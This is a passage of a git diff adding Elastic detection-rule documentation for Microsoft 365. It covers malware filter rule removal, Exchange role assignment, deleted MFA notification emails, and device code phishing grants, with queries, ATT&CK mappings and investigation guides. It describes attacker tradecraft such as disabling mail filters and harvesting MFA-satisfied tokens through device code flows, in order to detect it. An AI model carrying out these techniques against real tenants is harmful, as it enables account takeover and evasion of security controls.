+- Immediately isolate the affected account or system to prevent further unauthorized actions or malware distribution. +- Recreate the deleted malware filter policy to restore the email security posture and prevent further evasion attempts. +- Conduct a thorough review of recent audit logs to identify any other suspicious activities or policy changes that may indicate a broader compromise. +- Reset passwords and enforce multi-factor authentication for the affected account to secure access and prevent further unauthorized actions. +- Notify the security team and relevant stakeholders about the incident for awareness and potential escalation if further investigation reveals a larger threat. +- Implement additional monitoring on the affected account and related systems to detect any further suspicious activities or attempts to bypass security measures. +- Review and update security policies and configurations to ensure they are robust against similar evasion tactics in the future. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Remove-MalwareFilterPolicy" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-malware-filter-rule-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-malware-filter-rule-modified.asciidoc new file mode 100644 index 0000000000..96a209ba0d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-malware-filter-rule-modified.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-34-m365-exchange-malware-filter-rule-modified]] +=== M365 Exchange Malware Filter Rule Modified + +Identifies when a malware filter rule has been deleted or disabled in Microsoft 365. An adversary or insider threat may want to modify a malware filter rule to evade detection. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-malwarefilterrule?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/exchange/disable-malwarefilterrule?view=exchange-ps + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: SaaS +* Domain: Email +* Data Source: Microsoft 365 Audit Logs +* Service: Microsoft Exchange Online + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Malware Filter Rule Modified* + + +Microsoft 365 Exchange uses malware filter rules to protect email systems by identifying and blocking malicious content. Adversaries may attempt to disable or remove these rules to bypass security measures and facilitate attacks. The detection rule monitors audit logs for successful actions that alter these rules, signaling potential defense evasion tactics. This helps security analysts quickly identify and respond to unauthorized modifications. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset:o365.audit entries with event.provider:Exchange to confirm the occurrence of the rule modification. +- Identify the user account associated with the event.action:("Remove-MalwareFilterRule" or "Disable-MalwareFilterRule") and verify if the action was authorized or expected. +- Check the event.category:web logs for any related activities around the same timeframe to identify potential patterns or additional suspicious actions. +- Investigate the event.outcome:success to ensure that the modification was indeed successful and assess the impact on the organization's security posture. +- Correlate the identified actions with any recent security incidents or alerts to determine if this modification is part of a larger attack or threat campaign. +- Review the user's recent activity and access logs to identify any other unusual or unauthorized actions that may indicate compromised credentials or insider threat behavior. + + +*False positive analysis* + + +- Routine administrative changes to malware filter rules by authorized IT personnel can trigger alerts. To manage this, maintain a list of authorized users and their expected activities, and create exceptions for these users in the monitoring system. +- Scheduled maintenance or updates to Microsoft 365 configurations might involve temporary disabling of certain rules. Document these activities and adjust the monitoring system to recognize these as non-threatening. +- Automated scripts or third-party tools used for system management may perform actions that resemble rule modifications. Ensure these tools are properly documented and their actions are whitelisted if verified as safe. +- Changes made during incident response or troubleshooting can appear as rule modifications. Coordinate with the incident response team to log these activities and exclude them from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected user accounts and systems to prevent further unauthorized modifications to the malware filter rules. +- Re-enable or recreate the disabled or removed malware filter rules to restore the intended security posture of the Microsoft 365 environment. +- Conduct a thorough review of recent email traffic and logs to identify any potential malicious content that may have bypassed the filters during the period of rule modification. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or accounts have been compromised. +- Implement enhanced monitoring and alerting for any future attempts to modify malware filter rules, ensuring rapid detection and response. +- Review and update access controls and permissions for administrative actions within Microsoft 365 to limit the ability to modify security configurations to only essential personnel. +- Document the incident, including actions taken and lessons learned, to improve future response efforts and update incident response plans accordingly. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:("Remove-MalwareFilterRule" or "Disable-MalwareFilterRule") and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-management-group-role-assigned.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-management-group-role-assigned.asciidoc new file mode 100644 index 0000000000..ae37cacf45 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-management-group-role-assigned.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-34-m365-exchange-management-group-role-assigned]] +=== M365 Exchange Management Group Role Assigned + +Identifies when a new role is assigned to a management group in Microsoft 365. An adversary may attempt to add a role in order to maintain persistence in an environment. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/new-managementroleassignment?view=exchange-ps +* https://docs.microsoft.com/en-us/microsoft-365/admin/add-users/about-admin-roles?view=o365-worldwide + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: SaaS +* Domain: Email +* Data Source: Microsoft 365 Audit Logs +* Service: Microsoft Exchange Online + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Management Group Role Assigned* + + +Microsoft 365 Exchange Management roles define permissions for managing Exchange environments. Adversaries may exploit this by assigning roles to unauthorized users, ensuring persistent access. The detection rule monitors successful role assignments within Exchange, flagging potential unauthorized changes that align with persistence tactics, thus aiding in identifying and mitigating unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the event details to confirm the event.action is "New-ManagementRoleAssignment" and the event.outcome is "success" to ensure the alert is valid. +- Identify the user account associated with the role assignment by examining the event.dataset and event.provider fields, and verify if the account is authorized to make such changes. +- Check the history of role assignments for the identified user to determine if there are any patterns of unauthorized or suspicious activity. +- Investigate the specific management role that was assigned to understand its permissions and potential impact on the environment. +- Correlate this event with other recent activities from the same user or IP address to identify any additional suspicious behavior or anomalies. +- Consult with the relevant IT or security teams to verify if the role assignment was part of a legitimate administrative task or change request. + + +*False positive analysis* + + +- Routine administrative role assignments can trigger alerts. Regularly review and document legitimate role changes to differentiate them from unauthorized activities. +- Automated scripts or tools used for role management may cause false positives. Identify and whitelist these tools to prevent unnecessary alerts. +- Changes made during scheduled maintenance windows might be flagged. Establish a process to temporarily suppress alerts during these periods while ensuring post-maintenance reviews. +- Role assignments related to onboarding or offboarding processes can appear suspicious. Implement a verification step to confirm these changes align with HR records and expected activities. +- Frequent role changes by specific users with administrative privileges may not indicate malicious intent. Monitor these users' activities and establish a baseline to identify deviations from normal behavior. + + +*Response and remediation* + + +- Immediately revoke the newly assigned management role from the unauthorized user to prevent further unauthorized access or changes. +- Conduct a thorough review of recent activity logs for the affected account to identify any suspicious actions taken since the role assignment. +- Reset the credentials of the compromised account and enforce multi-factor authentication to enhance security. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring on the affected account and similar high-privilege accounts to detect any further unauthorized attempts. +- Review and update access control policies to ensure that only authorized personnel can assign management roles in Microsoft 365. +- Consider conducting a security awareness session for administrators to reinforce the importance of monitoring and managing role assignments securely. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"New-ManagementRoleAssignment" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-mfa-notification-email-deleted-or-moved.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-mfa-notification-email-deleted-or-moved.asciidoc new file mode 100644 index 0000000000..9efc22e3d9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-mfa-notification-email-deleted-or-moved.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-m365-exchange-mfa-notification-email-deleted-or-moved]] +=== M365 Exchange MFA Notification Email Deleted or Moved + +Identifies when an MFA enrollment, registration, or security notification email is deleted or moved to deleted items in Microsoft 365 Exchange. Adversaries who compromise accounts and register their own MFA device often delete the notification emails to cover their tracks and prevent the legitimate user from noticing the unauthorized change. This technique is commonly observed in business email compromise (BEC) and account takeover attacks. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Microsoft 365 +* Domain: Email +* Service: Microsoft Exchange Online + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 Exchange MFA Notification Email Deleted or Moved* + + +This rule detects when emails containing MFA enrollment or security notification keywords are deleted or moved to deleted items. Attackers who gain access to an account and register their own MFA device will often immediately delete the notification email to prevent the legitimate user from detecting the compromise. + + +*Possible Investigation Steps* + + +- Identify the user whose mailbox had the email deleted and determine if they recently enrolled a new MFA device. +- Review Azure AD sign-in logs for the user around the time of the deletion for authentication anomalies. +- Check Azure AD audit logs for recent MFA method registrations or changes for this user. +- Review the source IP address and determine if it matches the user's typical access patterns. +- Look for other suspicious mailbox activities from the same session (inbox rules, email forwarding). +- Determine if the user was aware of and initiated the MFA enrollment that generated the notification. + + +*False Positive Analysis* + + +- Users may legitimately delete MFA notification emails after reviewing and confirming the enrollment. +- Some organizations have mailbox rules that automatically organize or delete notification emails. +- Consider creating exceptions for users who frequently manage MFA enrollments (IT help desk). + + +*Response and Remediation* + + +- If unauthorized MFA enrollment is confirmed, immediately remove the attacker's MFA method from the account. +- Revoke all active sessions and refresh tokens for the affected user. +- Reset the user's credentials and require reauthentication. +- Review inbox rules for any malicious forwarding or deletion rules. +- Check for data exfiltration or other malicious activities during the compromise window. +- Implement conditional access policies to restrict MFA registration to trusted locations/devices. + + +==== Rule query + + +[source, js] +---------------------------------- +web where data_stream.dataset == "o365.audit" and + event.provider == "Exchange" and + event.action in ("SoftDelete", "HardDelete", "MoveToDeletedItems") and + event.outcome == "success" and + ( + o365.audit.AffectedItems.Subject like~ ( + /* new + (mfa|multi-|factor|method|device|security) */ + "*new mfa*", "*new multi*", "*new factor*", "*new method*", "*new device*", "*new security*", + /* 2fa and 2-step */ + "*2fa*", "*2-step*", + /* mfa + action verbs */ + "*mfa enroll*", "*mfa register*", "*mfa added*", "*mfa change*", + "*mfa verify*", "*mfa update*", "*mfa activate*", "*mfa configure*", "*mfa setup*", + /* factor + action verbs */ + "*factor enroll*", "*factor register*", "*factor added*", "*factor change*", + "*factor verify*", "*factor update*", "*factor activate*", "*factor configure*", "*factor setup*", + /* method + action verbs */ + "*method enroll*", "*method register*", "*method added*", "*method change*", + "*method verify*", "*method update*", "*method activate*", "*method configure*", "*method setup*", + /* device + action verbs */ + "*device enroll*", "*device register*", "*device added*", "*device change*", + "*device verify*", "*device update*", "*device activate*", "*device configure*", "*device setup*", + /* security + action verbs */ + "*security enroll*", "*security register*", "*security added*", "*security change*", + "*security verify*", "*security update*", "*security activate*", "*security configure*", "*security setup*", + /* Additional security notifications */ + "*authenticator*", "*verification code*", "*security info*", "*security alert*" + ) and not + o365.audit.AffectedItems.Subject like~ ("*sign-in*", "*sign in*", "*log-in*", "*log in*", "*logon*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Mailbox Data +** ID: T1070.008 +** Reference URL: https://attack.mitre.org/techniques/T1070/008/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-device-code-grant-by-an-unusual-user-non-compliant-device.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-device-code-grant-by-an-unusual-user-non-compliant-device.asciidoc new file mode 100644 index 0000000000..d225f37d5d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-device-code-grant-by-an-unusual-user-non-compliant-device.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-m365-identity-device-code-grant-by-an-unusual-user-non-compliant-device]] +=== M365 Identity Device Code Grant by an Unusual User (Non-Compliant Device) + +Identifies a Microsoft 365 user completing an OAuth device code grant ("Cmsi:Cmsi") from a non-compliant device for the first time within the rule's historical window, regardless of the requesting application or target resource. Device code phishing kits complete the full login (password and MFA) at the genuine Microsoft endpoint and harvest the resulting token by polling, so MFA does not stop them. Because the victim authorizes the flow in their own browser, the grant is frequently completed on a personal or attacker-controlled device that is not enrolled or compliant with the organization's device policies. A user appearing with this device code flow on a non-compliant device for the first time in the lookback window is a strong early indicator of device code phishing, and removing the application and target constraints catches grants against any first-party application, not just the Microsoft Authentication Broker. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://arcticwolf.com/resources/blog/token-bingo-dont-let-your-code-be-the-winner/ +* https://arcticwolf.com/resources/blog/kali365-expands-into-aws-microsoft-okta-xerox-max-messenger/ +* https://www.ic3.gov/PSA/2026/PSA260521 +* https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication/ +* https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/ + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Initial Access +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Device Code Phishing +* Rule Type: New Terms +* Platform: Microsoft 365 +* Domain: Email + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity Device Code Grant by an Unusual User (Non-Compliant Device)* + + +This rule detects a user completing an OAuth device code grant (`Cmsi:Cmsi`) from a device reported as non-compliant in the Microsoft 365 unified audit log for the first time within the rule's historical window (defined by the new terms history setting), independent of the requesting application or target resource. A match means the user has not been seen in this flow during the lookback window, not necessarily that it has never happened. Device code phishing kits (for example Kali365, Storm-2372 tradecraft) drive the device code flow against the genuine Microsoft endpoint and poll the token endpoint in the background, so the victim satisfies MFA while the attacker harvests a fully MFA-satisfied token, typically completed from a personal or attacker-controlled device that is not enrolled or compliant. + + +*Possible investigation steps* + + +- Review `o365.audit.UserId` to identify the impacted account and confirm whether the user expected to perform a device code sign-in. +- Examine `o365.audit.DeviceProperties` to understand the device posture (compliance, management state, OS, browser) and whether the device is recognized for this user. +- Confirm `o365.audit.ApplicationId` and `o365.audit.Target.ID` to identify the application and resource the grant was for. Authentication Broker (`29d9ed98-a469-4536-ade2-f981bc1d605e`) and developer tooling (Azure CLI, PowerShell) are commonly abused. +- Inspect `source.as.number`, `source.as.organization.name`, `source.ip`, and `source.geo.*` and compare with the user's normal sign-in origins. Hosting, VPN, or datacenter providers are unusual for interactive user authentication. +- Examine `user_agent.original` for automation or headless-browser patterns. +- Pivot to `azure.signinlogs` for the corresponding `deviceCode` sign-in, conditional access decisions, and any concurrent non-interactive token-issuance legs from a different ASN (the kit's polling backend). +- Pivot to `azure.graphactivitylogs` for follow-up Graph activity (`/me` recon, mailbox or file enumeration). +- Check `azure.auditlogs` for subsequent device registration events on the user, which device code phishing kits use to establish Primary Refresh Token persistence. + + +*False positive analysis* + + +- A legitimate first-time device code sign-in on a personal or non-compliant device. +- Provisioning of input-constrained devices (smart TVs, kiosks, IoT, conference room devices). +- CLI or headless developer workflows using the device code flow on an unmanaged device. +- If a user or device combination is confirmed benign and recurring, suppress it via a rule exception rather than broadening the query. + + +*Response and remediation* + + +- Contact the user to confirm whether they initiated the device code sign-in or may have entered a code presented on a phishing page. +- If unauthorized, revoke all refresh tokens for the user and reset credentials to invalidate the harvested token. +- Review and remove any unauthorized device registrations to cut off Primary Refresh Token persistence. +- Review recent Microsoft Graph, Exchange, SharePoint, and Teams activity for the user for signs of recon or exfiltration. +- Restrict device code authentication to only the users and applications that require it, and require compliant or hybrid-joined devices, via Conditional Access policies. +- Educate users on device code phishing and the risk of entering codes presented by unsolicited documents or messages. + + +==== Setup + + + +*Required Microsoft 365 Audit Logs* + +This rule requires the Microsoft 365 integration with unified audit logs (Azure AD / Entra sign-in events surfaced in the Microsoft 365 audit log) enabled and shipping to Elastic. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "o365.audit" + and o365.audit.ExtendedProperties.RequestType: "Cmsi:Cmsi" + and o365.audit.Actor.Type: (0 or 2 or 3 or 5 or 10) + and o365.audit.DeviceProperties.Value: "False" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-device-code-grant-with-unusual-user-and-asn.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-device-code-grant-with-unusual-user-and-asn.asciidoc new file mode 100644 index 0000000000..0fe5a9d968 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-device-code-grant-with-unusual-user-and-asn.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-m365-identity-device-code-grant-with-unusual-user-and-asn]] +=== M365 Identity Device Code Grant with Unusual User and ASN + +Identifies a Microsoft 365 OAuth device code grant ("Cmsi:Cmsi") with application Microsoft Authentication Broker ("29d9ed98-a469-4536-ade2-f981bc1d605e") for Microsoft Graph from a source ASN not previously observed for that user in a historical window. Phishing kits leveraging device code phishing complete the full login (password and MFA) at the genuine Microsoft endpoint and harvest the resulting token by polling, so MFA does not stop them and the authorization commonly originates from attacker-controlled residential proxy or hosting infrastructure rather than the user's normal network. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://arcticwolf.com/resources/blog/token-bingo-dont-let-your-code-be-the-winner/ +* https://arcticwolf.com/resources/blog/kali365-expands-into-aws-microsoft-okta-xerox-max-messenger/ +* https://www.ic3.gov/PSA/2026/PSA260521 +* https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication/ +* https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/ + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Initial Access +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Device Code Phishing +* Rule Type: New Terms +* Platform: Microsoft 365 +* Domain: Email + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity Device Code Grant with Unusual User and ASN* + + +This rule detects a user completing an OAuth device code grant (`Cmsi:Cmsi`) to the Microsoft Authentication Broker for Microsoft Graph from a source ASN not seen for that user within the rule's historical window (defined by the new terms history setting). A match means the user has not authenticated via this flow from that ASN during the lookback window, not necessarily that it has never happened. Device code phishing kits (for example Kali365, Storm-2372 tradecraft) drive the device code flow against the genuine Microsoft endpoint and poll the token endpoint in the background, so the victim satisfies MFA while the attacker harvests a fully MFA-satisfied token. The grant therefore frequently appears from residential proxy or hosting/datacenter infrastructure the user has not authenticated from during the window. + + +*Possible investigation steps* + + +- Review `o365.audit.UserId` to identify the impacted account and confirm whether the user expected to perform a device code sign-in. +- Inspect `source.as.number` and `source.as.organization.name` for the source ASN. Hosting, VPN, or datacenter providers (for example Tencent, Alibaba, DigitalOcean) are unusual for interactive user authentication. +- Review `source.ip`, `source.geo.country_name`, and `source.geo.city_name` and compare with the user's normal sign-in locations. +- Examine `o365.audit.DeviceProperties` and `user_agent.original` for non-managed devices and automation or headless-browser patterns. +- Confirm `o365.audit.ApplicationId` is the Microsoft Authentication Broker (`29d9ed98-a469-4536-ade2-f981bc1d605e`) and `o365.audit.Target.ID` is Microsoft Graph (`00000003-0000-0000-c000-000000000000`). +- Pivot to `azure.signinlogs` for the corresponding `deviceCode` sign-in, including `is_interactive`, conditional access decisions, and any concurrent non-interactive token-issuance legs from a different ASN (the kit's polling backend). +- Pivot to `azure.graphactivitylogs` for follow-up Graph activity (`/me` recon, mailbox or file enumeration) from the same or related ASNs. +- Check `azure.auditlogs` for subsequent device registration events on the user, which device code phishing kits use to establish Primary Refresh Token persistence. + + +*False positive analysis* + + +- A legitimate first-time device code sign-in from a new ISP, mobile carrier, corporate VPN, or while traveling. +- Provisioning of input-constrained devices (smart TVs, kiosks, IoT, conference room devices). +- CLI or headless developer workflows that use the device code flow against the Authentication Broker. +- If a source ASN is confirmed benign and recurring for the environment, suppress it via a rule exception rather than broadening the query. + + +*Response and remediation* + + +- Contact the user to confirm whether they initiated the device code sign-in or may have entered a code presented on a phishing page. +- If unauthorized, revoke all refresh tokens for the user and reset credentials to invalidate the harvested token. +- Review and remove any unauthorized device registrations to cut off Primary Refresh Token persistence. +- Review recent Microsoft Graph, Exchange, SharePoint, and Teams activity for the user for signs of recon or exfiltration. +- Restrict device code authentication to only the users and applications that require it via Conditional Access authentication flow policies. +- Educate users on device code phishing and the risk of entering codes presented by unsolicited documents or messages. + + +==== Setup + + + +*Required Microsoft 365 Audit Logs* + +This rule requires the Microsoft 365 integration with unified audit logs (Azure AD / Entra sign-in events surfaced in the Microsoft 365 audit log) enabled and shipping to Elastic. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "o365.audit" + and o365.audit.ExtendedProperties.RequestType: "Cmsi:Cmsi" + and o365.audit.Actor.Type: (0 or 2 or 3 or 5 or 10) + and o365.audit.ApplicationId: "29d9ed98-a469-4536-ade2-f981bc1d605e" + and o365.audit.Target.ID: "00000003-0000-0000-c000-000000000000" + and o365.audit.DeviceProperties.Value: "False" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-global-administrator-role-assigned.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-global-administrator-role-assigned.asciidoc new file mode 100644 index 0000000000..b13b593606 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-global-administrator-role-assigned.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-34-m365-identity-global-administrator-role-assigned]] +=== M365 Identity Global Administrator Role Assigned + 